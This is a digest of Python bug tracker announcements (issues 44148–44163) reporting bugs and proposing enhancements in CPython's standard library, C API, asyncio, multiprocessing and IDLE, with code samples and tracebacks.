Currently, PyEval_GetGlobals just returns NULL if frame is NULL while PyEval_GetLocals raises a runtime error and then returns NULL if frame is NULL. Raising a RuntimeError and then returning NULL from PyEval_GetGlobals if frame is NULL would be a better idea.

----------
components: C API
messages: 393745
nosy: shreyanavigyan
priority: normal
severity: normal
status: open
title: Raise a RuntimeError if frame is NULL in PyEval_GetGlobals
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44148>
_______________________________________

From report at bugs.python.org  Sun May 16 12:14:00 2021
From: report at bugs.python.org (Mustafa Quraish)
Date: Sun, 16 May 2021 16:14:00 +0000
Subject: [New-bugs-announce] [issue44149] difflib.get_close_matches: Add
 `key` argument
Message-ID: <1621181640.96.0.125589891054.issue44149@roundup.psfhosted.org>


New submission from Mustafa Quraish <mustafaquraish at gmail.com>:

Add a `key` argument to difflib.get_close_matches(), so that it is possible to say find the closest objects where an attribute matches the given string.

----------
components: Library (Lib)
messages: 393747
nosy: mustafaquraish
priority: normal
severity: normal
status: open
title: difflib.get_close_matches: Add `key` argument
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44149>
_______________________________________

From report at bugs.python.org  Sun May 16 14:56:52 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 16 May 2021 18:56:52 +0000
Subject: [New-bugs-announce] [issue44150] Add optional weights parameter to
 statistics.fmean()
Message-ID: <1621191412.92.0.705417843904.issue44150@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

Weighted averages are another basic that we should support.

A professor assigns a grade for a course by weighting quizzes at 20%, homework at 20%, a midterm exam at 30%, and a final exam at 30%:

>>> grades = [85, 92, 83, 91]
>>> weights = [0.20, 0.20, 0.30, 0.30]
>>> fmean(grades, weights)
87.6

The API here matches that for harmonic_mean() and random.choices(), the other places where we support optional weights.

----------
components: Library (Lib)
messages: 393751
nosy: rhettinger, steven.daprano
priority: normal
severity: normal
status: open
title: Add optional weights parameter to statistics.fmean()
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44150>
_______________________________________

From report at bugs.python.org  Sun May 16 15:48:29 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 16 May 2021 19:48:29 +0000
Subject: [New-bugs-announce] [issue44151] Improve parameter names and return
 value ordering for linear_regression
Message-ID: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

The current signature is:

    linear_regression(regressor, dependent_variable)

While the term "regressor" is used in some problem domains, it isn't well known outside of those domains.   The term "independent_variable" would be better because it is common to all domains and because it is the natural counterpart to "dependent_variable".

Another issue is that the return value is a named tuple in the form:

    LinearRegression(intercept, slope)

While that order is seen in multiple linear regression, most people first learn it in algebra as the slope/intercept form:  y = mx + b.   That will be the natural order for a majority of users, especially given that we aren't supporting multiple linear regression.

The named tuple is called LinearRegression which describes how the result was obtained rather than the result itself.  The output of any process that fits data to a line is a line.  The named tuple should be called Line because that is what it describes.  Also, a Line class would be reusuable for other purposes that linear regression.

Proposed signature:

  linear_regression(independent_variable, dependent_variable) -> Line(slope, intercept)

----------
components: Library (Lib)
messages: 393754
nosy: pablogsal, rhettinger, steven.daprano
priority: normal
severity: normal
status: open
title: Improve parameter names and return value ordering for linear_regression
type: behavior
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44151>
_______________________________________

From report at bugs.python.org  Sun May 16 16:58:11 2021
From: report at bugs.python.org (E G)
Date: Sun, 16 May 2021 20:58:11 +0000
Subject: [New-bugs-announce] [issue44152] .isupper() does not support
 Polytonic Greek (but .islower() does)
Message-ID: <1621198691.88.0.249264429435.issue44152@roundup.psfhosted.org>


New submission from E G <etg at antisigma.classics.utoronto.ca>:

???????????? starts with an upper-case delta. '????????????'.isupper() should yield "True".

??? also fails this test: it begins with a capital Alpha with a breathing.

??? is properly parsed: isupper() is False and islower() is True. 

Despite the problem with .isupper(), .capitalize() does seem to work properly: '?' --> '?' and '??' --> '??'


a transcript follows

====

Python 3.9.5 (default, May  4 2021, 03:36:27)
	
	Greek vs .isupper(): seems like .islower() is properly implemented but that .isupper() is not

	>>> '??????'.islower()
	True
	>>> '????????????'.islower()
	False
	>>> '????????????'.isupper()
	False
	>>> x = '???'
	>>> x.islower()
	False
	>>> x.isupper()
	False
	>>> x = '???'
	>>> x.isupper()
	False
	>>> x.islower()
	True
	>>> x = '??'
	>>> x.islower()
	True
	>>> x.isupper()
	False
	>>> x= '?'
	>>> x.isupper()
	False
	>>> x.islower()
	True

	>>> x.capitalize()
	'?'
	>>> '??'.capitalize()
	'??'

----------
messages: 393759
nosy: egun
priority: normal
severity: normal
status: open
title: .isupper() does not support Polytonic Greek (but .islower() does)
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44152>
_______________________________________

From report at bugs.python.org  Sun May 16 18:24:45 2021
From: report at bugs.python.org (Max Marrone)
Date: Sun, 16 May 2021 22:24:45 +0000
Subject: [New-bugs-announce] [issue44153] Signaling an asyncio subprocess
 raises ProcessLookupError, depending on timing
Message-ID: <1621203885.3.0.0568213318431.issue44153@roundup.psfhosted.org>


New submission from Max Marrone <syntaxcoloring at gmail.com>:

# Summary

Basic use of `asyncio.subprocess.Process.terminate()` can raise a `ProcessLookupError`, depending on the timing of the subprocess's exit.

I assume (but haven't checked) that this problem extends to `.kill()` and `.send_signal()`.

This breaks the expected POSIX semantics of signaling and waiting on a process. See the "Expected behavior" section.


# Test case

I've tested this on macOS 11.2.3 with Python 3.7.9 and Python 3.10.0a7, both installed via pyenv.

```
import asyncio
import sys

# Tested with:
# asyncio.ThreadedChildWatcher (3.10.0a7  only)
# asyncio.MultiLoopChildWatcher (3.10.0a7 only)
# asyncio.SafeChildWatcher (3.7.9 and 3.10.0a7)
# asyncio.FastChildWatcher (3.7.9 and 3.10.0a7)
# Not tested with asyncio.PidfdChildWatcher because I'm not on Linux.
WATCHER_CLASS = asyncio.FastChildWatcher

async def main():
    # Dummy command that should be executable cross-platform.
    process = await asyncio.subprocess.create_subprocess_exec(
        sys.executable, "--version"
    )
    
    for i in range(20):
        # I think the problem is that the event loop opportunistically wait()s
        # all outstanding subprocesses on its own. Do a bunch of separate
        # sleep() calls to give it a bunch of chances to do this, for reliable
        # reproduction.
        #
        # I'm not sure if this is strictly necessary for the problem to happen.
        # On my machine, the problem also happens with a single sleep(2.0).
        await asyncio.sleep(0.1)
    
    process.terminate() # This unexpectedly errors with ProcessLookupError.

    print(await process.wait())

asyncio.set_child_watcher(WATCHER_CLASS())
asyncio.run(main())
```

The `process.terminate()` call raises a `ProcessLookupError`:

```
Traceback (most recent call last):
  File "kill_is_broken.py", line 29, in <module>
    asyncio.run(main())
  File "/Users/maxpm/.pyenv/versions/3.7.9/lib/python3.7/asyncio/runners.py", line 43, in run
    return loop.run_until_complete(main)
  File "/Users/maxpm/.pyenv/versions/3.7.9/lib/python3.7/asyncio/base_events.py", line 587, in run_until_complete
    return future.result()
  File "kill_is_broken.py", line 24, in main
    process.terminate() # This errors with ProcessLookupError.
  File "/Users/maxpm/.pyenv/versions/3.7.9/lib/python3.7/asyncio/subprocess.py", line 131, in terminate
    self._transport.terminate()
  File "/Users/maxpm/.pyenv/versions/3.7.9/lib/python3.7/asyncio/base_subprocess.py", line 150, in terminate
    self._check_proc()
  File "/Users/maxpm/.pyenv/versions/3.7.9/lib/python3.7/asyncio/base_subprocess.py", line 143, in _check_proc
    raise ProcessLookupError()
ProcessLookupError
```


# Expected behavior and discussion

Normally, with POSIX semantics, the `wait()` syscall tells the operating system that we won't send any more signals to that process, and that it's safe for the operating system to recycle that process's PID. This comment from Jack O'Connor on another issue explains it well: https://bugs.python.org/issue40550#msg382427

So, I expect that on any given `asyncio.subprocess.Process`, if I call `.terminate()`, `.kill()`, or `.send_signal()` before I call `.wait()`, then:

* It should not raise a `ProcessLookupError`.
* The asyncio internals shouldn't do anything with a stale PID. (A stale PID is one that used to belong to our subprocess, but that we've since consumed through a `wait()` syscall, allowing the operating system to recycle it).

asyncio internals are mostly over my head. But I *think* the problem is that the event loop opportunistically calls the `wait()` syscall on our child processes. So, as implemented, there's a race condition. If the event loop's `wait()` syscall happens to come before my `.terminate()` call, my `.terminate()` call will raise a `ProcessLookupError`.

So, as a corollary to the expectations listed above, I think the implementation details should be either:

* Ideally, the asyncio internals should not call syscall `wait()` on a process until *I* call `wait()` on that process. 
* Failing that, `.terminate()`, `.kill()` and `.send_signal()` should should no-op if the asyncio internals have already called `.wait()` on that process.

----------
components: asyncio
messages: 393764
nosy: asvetlov, syntaxcoloring, yselivanov
priority: normal
severity: normal
status: open
title: Signaling an asyncio subprocess raises ProcessLookupError, depending on timing
type: behavior
versions: Python 3.10, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44153>
_______________________________________

From report at bugs.python.org  Sun May 16 23:58:34 2021
From: report at bugs.python.org (Sergey B Kirpichev)
Date: Mon, 17 May 2021 03:58:34 +0000
Subject: [New-bugs-announce] [issue44154] Optimize Fraction pickling
Message-ID: <1621223914.12.0.379949005457.issue44154@roundup.psfhosted.org>


New submission from Sergey B Kirpichev <skirpichev at gmail.com>:

The current version of the Fraction.__reduce__() method uses str(), which produces bigger dumps, esp. for large components.

C.f.:
>>> import random, pickle
>>> from fractions import Fraction as F
>>> random.seed(1); a = F(*random.random().as_integer_ratio())
>>> for proto in range(pickle.HIGHEST_PROTOCOL + 1):
...     print(len(pickle.dumps(a, proto)))
... 
71
70
71
71
77
77
>>> b = a**13
>>> for proto in range(pickle.HIGHEST_PROTOCOL + 1):
...     print(len(pickle.dumps(b, proto)))
... 
444
443
444
444
453
453

vs the attached patch:
>>> for proto in range(pickle.HIGHEST_PROTOCOL + 1):
...     print(len(pickle.dumps(a, proto)))
... 
71
68
49
49
59
59
>>> for proto in range(pickle.HIGHEST_PROTOCOL + 1):
...     print(len(pickle.dumps(b, proto)))
... 
444
441
204
204
214
214

Testing for non-default protocols was also added.  Let me know if all this does make sense as a PR.

----------
components: Library (Lib)
files: fractions-pickle.diff
keywords: patch
messages: 393781
nosy: Sergey.Kirpichev
priority: normal
severity: normal
status: open
title: Optimize Fraction pickling
versions: Python 3.11
Added file: https://bugs.python.org/file50047/fractions-pickle.diff

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44154>
_______________________________________

From report at bugs.python.org  Mon May 17 04:50:27 2021
From: report at bugs.python.org (David Chen)
Date: Mon, 17 May 2021 08:50:27 +0000
Subject: [New-bugs-announce] [issue44155] Race condition when using
 multiprocessing BaseManager and Pool in Python3
Message-ID: <1621241427.13.0.989266632434.issue44155@roundup.psfhosted.org>


New submission from David Chen <chenzhuowansui at 163.com>:

could someone help me out? i spent a lot of time to debug a race condition i have encountered when using BaseManager, Pool within multiprocessing library. here is the simplified code:
```
import sys, time
from multiprocessing.managers import BaseManager, SyncManager, BaseProxy
from multiprocessing import Process, cpu_count, Pool, Lock, get_context
from multiprocessing.queues import Queue, JoinableQueue
import queue

class QueueManager(BaseManager):
    pass

class Singleton:
    '''
    Decorator class for singleton pattern.
    '''
    def __init__(self, cls):
        self._cls = cls
        self._lock = Lock()
        self._instance = {}
 
    def __call__(self, *args, **kwargs):
        if self._cls not in self._instance:
            with self._lock:
                self._instance[self._cls] = self._cls(*args, **kwargs)
        return self._instance[self._cls]
    
    def getInstance(self):
        return self._instance[self._cls]


class LoggingServer(object):
    def __init__(self, address, pwd):
        self.logServerAddr = address
        self.logServerPwd = pwd
        self.msgQueue = queue.Queue()
        try:
            QueueManager.register('getQueue', callable=lambda: self.msgQueue)
            self.queueManager = QueueManager(address = self.logServerAddr, authkey = self.logServerPwd)
            self.logServer = self.queueManager.get_server()
            self.logServer.serve_forever()
        except:
            raise RuntimeError("Couldn't start the logging server!")

class LoggingProcess(object):
    def __init__(self, address, pwd):
        self.logServerAddr = address
        self.logServerPwd = pwd
        try:
            QueueManager.register('getQueue')
            self.queueManager = QueueManager(address = self.logServerAddr, authkey = self.logServerPwd)
            self.queueManager.connect()
        except:
            raise RuntimeError("Couldn't connect logging process to the logging server!")

        self.msgQueue  = self.queueManager.getQueue()
        self.process = Process(target=self.loggingProcess, name = "Logging Process", args=(), daemon = True)
        self.process.start()

    def terminate(self):
        self.msgQueue.join()
        self.process.terminate()
        
    def loggingProcess(self):
        while True:
            logObj = self.msgQueue.get()
            print(logObj)
            
@Singleton
class Logger(object):
    def __init__(self, address, pwd):
        self.logServerAddr = address
        self.logServerPwd = pwd
        self.queueManager = None
        self.msgQueue  = None

    def connectToLogServer(self):
        try:
            QueueManager.register('getQueue')
            self.queueManager = QueueManager(address = self.logServerAddr, authkey = self.logServerPwd)
            self.queueManager.connect()
            self.msgQueue  = self.queueManager.getQueue()
            self.ready = True
        except:
            raise RuntimeError("Couldn't connect logger to Log Server!")

    def ReadyCheck(func):
        def makeDecorator(self, *args, **kwargs):
            if not self.msgQueue:
                self.connectToLogServer()
            func(self, *args, **kwargs)

        return makeDecorator

    # Overrided function to log info
    @ReadyCheck
    def info(self, info, logfile = sys.stdout):
        self.msgQueue.put(info)

address = ('', 50000)
password = b'PASSWORD'

log = Logger(address, password)

def callback(*args):
    #print("Finished!!!")
    pass

def job(index):
    time.sleep(0.1)
    log.info(str(log.msgQueue) + ":{}".format(index))
    log.info("here {}".format(index))


    

if __name__ == "__main__":
    # import multiprocessing
    # logger = multiprocessing.log_to_stderr()
    # logger.setLevel(multiprocessing.SUBDEBUG)
    serverProcess = Process(target = LoggingServer, name = "LoggingServerDaemon", args = ((address, password)), daemon = True)
    serverProcess.start()
    time.sleep(1)
    loggingProcess = LoggingProcess(address, password)
    log.info("Starting...")
    #pool = Pool(cpu_count())
    pool = Pool() #Using a small number of worker(like 10), no problem, but if we increase to a bigger number, say 48 in my case, this program hangs every time...

    results = [pool.apply_async(job, (i,), callback = callback) for i in range(1)]

    pool.close()
    pool.join()

    log.info("Done")

    #loggingProcess.terminate()
    #serverProcess.terminate()
```
LoggerServer class is working as a logging Server(like a proxy), which manages a shared queue. LoggingProcess class is a log consumer class, which fetch the logs from the shared queue(managed by LoggingServer). Logger class is a producer class, which put the logs into the shared queue. As i want to share the global logger in multiple modules in order to unify the logs format/output places/...(something like the logging standard library), so the Logger class is not fully initialized and will be fully initialized later when using it(please see connectToLogServer). and i highly suspect this is root cause of program hang, but i can't go further...

the hang sub-process's(ForkPoolWorker) traceback is like the following(using py-spy):
```
Process 3958088: python3 Logger.py
Python v3.9.0 (/usr/bin/python3.9)

Thread 3958088 (idle): "MainThread"
    _recv (/usr/lib/python3.9/multiprocessing/connection.py:384)
    _recv_bytes (/usr/lib/python3.9/multiprocessing/connection.py:419)
    recv_bytes (/usr/lib/python3.9/multiprocessing/connection.py:221)
    answer_challenge (/usr/lib/python3.9/multiprocessing/connection.py:757)
    Client (/usr/lib/python3.9/multiprocessing/connection.py:513)
    _decref (/usr/lib/python3.9/multiprocessing/managers.py:861)
    __call__ (/usr/lib/python3.9/multiprocessing/util.py:224)
    _run_finalizers (/usr/lib/python3.9/multiprocessing/util.py:300)
    _exit_function (/usr/lib/python3.9/multiprocessing/util.py:334)
    _bootstrap (/usr/lib/python3.9/multiprocessing/process.py:318)
    _launch (/usr/lib/python3.9/multiprocessing/popen_fork.py:71)
    __init__ (/usr/lib/python3.9/multiprocessing/popen_fork.py:19)
    _Popen (/usr/lib/python3.9/multiprocessing/context.py:277)
    start (/usr/lib/python3.9/multiprocessing/process.py:121)
    _repopulate_pool_static (/usr/lib/python3.9/multiprocessing/pool.py:326)
    _repopulate_pool (/usr/lib/python3.9/multiprocessing/pool.py:303)
    __init__ (/usr/lib/python3.9/multiprocessing/pool.py:212)
    Pool (/usr/lib/python3.9/multiprocessing/context.py:119)
    <module> (/slowfs/cn59sig01/usr/zhuoc/work/qualification-kit/reproducer/Logger.py:129)
```
it seems the refcount of the shared queue failed to be decref... I googled a lot stuffs, but none seems to be the same with this... so i bring this issue here for help. Any comments and suggestions are highly appreciated!
Traceback after CTRL+C:
```
raceback (most recent call last):
  File "/slowfs/cn59sig01/usr/zhuoc/work/qualification-kit/reproducer/Logger.py", line 43, in __init__
    self.logServer.serve_forever()
  File "/usr/lib/python3.9/multiprocessing/managers.py", line 183, in serve_forever
    sys.exit(0)
SystemExit: 0

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
Traceback (most recent call last):
  File "/usr/lib/python3.9/multiprocessing/process.py", line 315, in _bootstrap
    self.run()
  File "/usr/lib/python3.9/multiprocessing/process.py", line 315, in _bootstrap
    self.run()
  File "/usr/lib/python3.9/multiprocessing/process.py", line 108, in run
    self._target(*self._args, **self._kwargs)
  File "/slowfs/cn59sig01/usr/zhuoc/work/qualification-kit/reproducer/Logger.py", line 68, in loggingProcess
    logObj = self.msgQueue.get()
  File "<string>", line 2, in get
  File "/usr/lib/python3.9/multiprocessing/managers.py", line 809, in _callmethod
    kind, result = conn.recv()
  File "/usr/lib/python3.9/multiprocessing/connection.py", line 255, in recv
    buf = self._recv_bytes()
  File "/usr/lib/python3.9/multiprocessing/connection.py", line 419, in _recv_bytes
    buf = self._recv(4)
  File "/usr/lib/python3.9/multiprocessing/connection.py", line 384, in _recv
    chunk = read(handle, remaining)
KeyboardInterrupt
  File "/usr/lib/python3.9/multiprocessing/process.py", line 108, in run
    self._target(*self._args, **self._kwargs)
  File "/slowfs/cn59sig01/usr/zhuoc/work/qualification-kit/reproducer/Logger.py", line 45, in __init__
    raise RuntimeError("Couldn't start the logging server!")
RuntimeError: Couldn't start the logging server!
```

----------
components: Library (Lib)
messages: 393796
nosy: chenzhuowansui
priority: normal
severity: normal
status: open
title: Race condition when using multiprocessing BaseManager and Pool in Python3
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44155>
_______________________________________

From report at bugs.python.org  Mon May 17 05:34:25 2021
From: report at bugs.python.org (Ken Jin)
Date: Mon, 17 May 2021 09:34:25 +0000
Subject: [New-bugs-announce] [issue44156] [subinterpreters] Replace static
 string caches with subinterpreter-compatible alternatives
Message-ID: <1621244065.25.0.526859274821.issue44156@roundup.psfhosted.org>


New submission from Ken Jin <kenjin4096 at gmail.com>:

Hello, this is a meta issue for replacing cached string constants in various places with alternatives compatible with subinterpreters such as _Py_IDENTIFIER.

Ideally the replacements should not cause any performance regression. But to be safe I would recommend starting in places that aren't "hot".

A list of such caches can be found via a tool created by Eric: https://www.github.com/python/cpython/tree/main/Tools%2Fc-analyzer.

Thanks everyone!

----------
messages: 393800
nosy: eric.snow, kj, vstinner
priority: normal
severity: normal
status: open
title: [subinterpreters] Replace static string caches with subinterpreter-compatible alternatives
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44156>
_______________________________________

From report at bugs.python.org  Mon May 17 08:32:33 2021
From: report at bugs.python.org (Xavier Morel)
Date: Mon, 17 May 2021 12:32:33 +0000
Subject: [New-bugs-announce] [issue44157] redirect_* should also redirect
 C-level streams
Message-ID: <1621254753.52.0.230769289673.issue44157@roundup.psfhosted.org>


New submission from Xavier Morel <xavier.morel at masklinn.net>:

In 3.4 (resp. 3.5), `redirect_stdout` and `redirect_stderr` were added to provide easy and reentrant stream redirection. Although that is documented, it seems like a waste that they only redirect the high-level `sys.std*`  streams: those are already pretty easy to redirect by simply setting the corresponding attribute, which is essentially what the contextmanager does. However,

* that does not work if the writer has imported the original stream object (`from sys import stderr`)
* that does not work if the writer bypasses or is not aware of the Python layer e.g. a native library

In that case, the user still has to deal with dup/dup2 dances in order to redirect the underlying fds, which is significantly more error-prone (and verbose) than intercepting the high-level `sys.std*` ever was.

On the other hand, it's also less expressive as it requires an actual fd, rather than a Python-level file-like object. So I can understand not doing it by default.

But still, I think I feel like it'd be very useful to either expand  the existing context managers to perform fd redirection, or have a separate context manager able to redirect arbitrary fds.

----------
components: Library (Lib)
messages: 393810
nosy: xmorel
priority: normal
severity: normal
status: open
title: redirect_* should also redirect C-level streams
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44157>
_______________________________________

From report at bugs.python.org  Mon May 17 15:46:00 2021
From: report at bugs.python.org (Andres Gomez)
Date: Mon, 17 May 2021 19:46:00 +0000
Subject: [New-bugs-announce] [issue44158] Clarify documentation for
 redirected stdout/stderr when using subprocess in Linux
Message-ID: <1621280760.31.0.799968756172.issue44158@roundup.psfhosted.org>


New submission from Andres Gomez <agomez at igalia.com>:

1. Redirect the stderr and stdout with contextlib's redirect_stderr, redirect_stdout or just by replacing the fd in sys.stderr and sys.stdout
2. We run a subprocess with subprocess.run()
3. The documentation for subprocess states:

https://docs.python.org/3/library/subprocess.html#frequently-used-arguments

"
With the default settings of None, no redirection will occur; the child?s file handles will be inherited from the parent.
"

4. The documentation for contextlib states:

https://docs.python.org/3/library/contextlib.html?highlight=contextlib#contextlib.redirect_stdout

"
Note that the global side effect on sys.stdout means that this context manager is not suitable for use in library code and most threaded applications. It also has no effect on the output of subprocesses. 
"
5. The stdout and stderr for the subprocess-ed command is not redirected, as stated in the contextlib documentation.


It took me a while to realize that redirecting stdout and stderr didn't have an effect in the child subprocess.

It would be great if this could be improved so the subproccess-ed command also inherits the redirection. At the very least, this issue with the redirection should be added as a notice in the subprocess documentation.

The attached test.py script shows this behavior. The code is very simple and self-explanatory. You can run with:

# test.py

or

# test.py -n

Somehow, related to: https://bugs.python.org/issue1227748

----------
components: Library (Lib)
files: test.py
messages: 393825
nosy: tanty
priority: normal
severity: normal
status: open
title: Clarify documentation for redirected stdout/stderr when using subprocess in Linux
type: behavior
versions: Python 3.7, Python 3.8, Python 3.9
Added file: https://bugs.python.org/file50048/test.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44158>
_______________________________________

From report at bugs.python.org  Mon May 17 15:54:58 2021
From: report at bugs.python.org (Norman Lorrain)
Date: Mon, 17 May 2021 19:54:58 +0000
Subject: [New-bugs-announce] [issue44159] mimetypes -  "strict" on Windows
Message-ID: <1621281298.07.0.0030957833024.issue44159@roundup.psfhosted.org>


New submission from Norman Lorrain <normanlorrain at gmail.com>:

On Windows 10 machine, unit tests show this error:

    0:05:10 load avg: 3.24 [221/427/1] test_mimetypes failed
    test test_mimetypes failed -- Traceback (most recent call last):
    File "D:\github\cpython\lib\test\test_mimetypes.py", line 289, in test_guess_type
        eq(type_info, "I don't know anything about type foo.pic")
    AssertionError: 'type: image/pict encoding: None' != "I don't know anything about type foo.pic"
    - type: image/pict encoding: None
    + I don't know anything about type foo.pic

The test is verifying that the code reports `image/pict` as a *non-standard* MIME type:

    def test_guess_type(self):
        eq = self.assertEqual

        type_info = self.mimetypes_cmd("-l", "foo.pic")
        eq(type_info, "type: image/pict encoding: None")

        type_info = self.mimetypes_cmd("foo.pic")
        eq(type_info, "I don't know anything about type foo.pic")

Looking in my registry, I see the entry for `.pic`

    [HKEY_CLASSES_ROOT\.pic]
    @="QuickTime.pic"
    "Content Type"="image/pict"
    ...etc

The module seems to report everything it finds in the registry as "strict"

----------
components: Library (Lib)
messages: 393826
nosy: Norman Lorrain
priority: normal
severity: normal
status: open
title: mimetypes -  "strict" on Windows
type: behavior
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44159>
_______________________________________

From report at bugs.python.org  Mon May 17 16:43:20 2021
From: report at bugs.python.org (Dennis Sweeney)
Date: Mon, 17 May 2021 20:43:20 +0000
Subject: [New-bugs-announce] [issue44160] speed up searching for keywords by
 using a dictionary
Message-ID: <1621284200.3.0.196820291472.issue44160@roundup.psfhosted.org>


New submission from Dennis Sweeney <sweeney.dennis650 at gmail.com>:

This patch ensures keyword-passing happens in linear time, fulfilling the 26-year-old TODO comment in ceval.c:

   XXX speed up searching for keywords by using a dictionary


from time import perf_counter
from itertools import repeat

def bench(N):
    reps = 1 + 10_000_000 // N
    kwargs = {"a"*i: None for i in range(1, N+1)}
    param_list = ",".join(kwargs)
    function = eval(f"lambda {param_list}: 17")
    t0 = perf_counter()
    for _ in repeat(None, reps):
        result = function(**kwargs)
    t1 = perf_counter()
    assert result == 17
    return (t1 - t0) / reps

for i in list(range(1, 11)) + [20, 50, 100, 200, 500, 1000]:
    print(f"{i} --> {bench(i):.2e}")


before:
1 --> 1.73e-07
2 --> 2.22e-07
3 --> 2.57e-07
4 --> 3.25e-07
5 --> 3.93e-07
6 --> 4.87e-07
7 --> 5.92e-07
8 --> 7.02e-07
9 --> 8.40e-07
10 --> 9.59e-07
20 --> 3.11e-06
50 --> 1.49e-05
100 --> 5.61e-05
200 --> 2.21e-04
500 --> 1.29e-03
1000 --> 5.09e-03

after:
1 --> 1.78e-07
2 --> 2.14e-07
3 --> 2.37e-07
4 --> 2.63e-07
5 --> 2.87e-07
6 --> 3.31e-07
7 --> 3.41e-07
8 --> 3.66e-07
9 --> 3.84e-07
10 --> 4.17e-07
20 --> 8.17e-07
50 --> 1.77e-06
100 --> 3.66e-06
200 --> 8.10e-06
500 --> 2.82e-05
1000 --> 7.95e-05

----------
components: Interpreter Core
messages: 393828
nosy: Dennis Sweeney
priority: normal
severity: normal
status: open
title: speed up searching for keywords by using a dictionary
type: performance
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44160>
_______________________________________

From report at bugs.python.org  Mon May 17 17:12:30 2021
From: report at bugs.python.org (Niels Hofmans)
Date: Mon, 17 May 2021 21:12:30 +0000
Subject: [New-bugs-announce] [issue44161] free: invalid pointer on graph and
 photo.message imports
Message-ID: <1621285950.49.0.418651001882.issue44161@roundup.psfhosted.org>


New submission from Niels Hofmans <hello at ironpeak.be>:

Ref https://github.com/googleapis/python-pubsub/issues/414#issuecomment-842446505

@hazcod observed a fault when importing google.cloud.pubsub_v1 as above;

# strace python3 -c 'from google.cloud import pubsub_v1'
...
writev(2, [{iov_base="free(): invalid pointer", iov_len=23}, {iov_base="\n", iov_len=1}], 2free(): invalid pointer
) = 24
...
--- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=306, si_uid=0} ---
+++ killed by SIGABRT +++
Aborted
But importing google.cloud.pubsub_v1 isn't really required here; the fault can be reproduced with importing only these two dependencies...

python3 -c 'import proto.message, grpc;'
free(): invalid pointer
Aborted
Importing either by itself doesn't crash. Further, importing them in the other order doesn't crash. I do not understand why.

python3 -c 'import grpc, proto.message; print(grpc, proto.message)'
<module 'grpc' from '/usr/local/lib/python3.9/site-packages/grpc/__init__.py'> <module 'proto.message' from '/usr/local/lib/python3.9/site-packages/proto/message.py'>

----------
components: Library (Lib)
messages: 393830
nosy: hazcod
priority: normal
severity: normal
status: open
title: free: invalid pointer on graph and photo.message imports
type: crash
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44161>
_______________________________________

From report at bugs.python.org  Mon May 17 17:13:26 2021
From: report at bugs.python.org (T M)
Date: Mon, 17 May 2021 21:13:26 +0000
Subject: [New-bugs-announce] [issue44162] importlib.resources.path no longer
 supports directories
Message-ID: <1621286006.08.0.980082746272.issue44162@roundup.psfhosted.org>


New submission from T M <teran.mckinney at anthem.com>:

In Python 3.7 and 3.8, importlib.resources.path worked perfectly with a directory.

For example:

with importlib.resources.path(__package__, "dir") as dir:
    os.listdir(dir)

In Python 3.9, this is raised: IsADirectoryError: [Errno 21] Is a directory: 'dir'

I haven't seen this change documented. I don't know if the behavior in 3.7 and 3.8 was a bug, it sure was useful.

In this case, we have web files which we want to serve statically from that folder. Naming them file by file could work, but would be tedious and isn't preferable for us.

Thank you!

----------
messages: 393831
nosy: gitpushdashf
priority: normal
severity: normal
status: open
title: importlib.resources.path no longer supports directories
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44162>
_______________________________________

From report at bugs.python.org  Mon May 17 19:47:23 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 17 May 2021 23:47:23 +0000
Subject: [New-bugs-announce] [issue44163] IDLE ValueError in HyperParser
Message-ID: <1621295243.03.0.896879561831.issue44163@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

Here's a new error that I hadn't seen before.  I occurred at some point during a full day training session, so am not sure what triggered the failure:

Exception in Tkinter callback
Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/tkinter/__init__.py", line 1892, in __call__
    return self.func(*args)
  File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/idlelib/multicall.py", line 176, in handler
    r = l[i](event)
  File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/idlelib/calltip.py", line 51, in try_open_calltip_event
    self.open_calltip(False)
  File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/idlelib/calltip.py", line 62, in open_calltip
    hp = HyperParser(self.editwin, "insert")
  File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/idlelib/hyperparser.py", line 79, in __init__
    self.set_index(index)
  File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/idlelib/hyperparser.py", line 89, in set_index
    raise ValueError("Index %s precedes the analyzed statement"
ValueError: Index insert precedes the analyzed statement

----------
assignee: terry.reedy
components: IDLE
messages: 393845
nosy: rhettinger, terry.reedy
priority: normal
severity: normal
status: open
title: IDLE ValueError in HyperParser
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
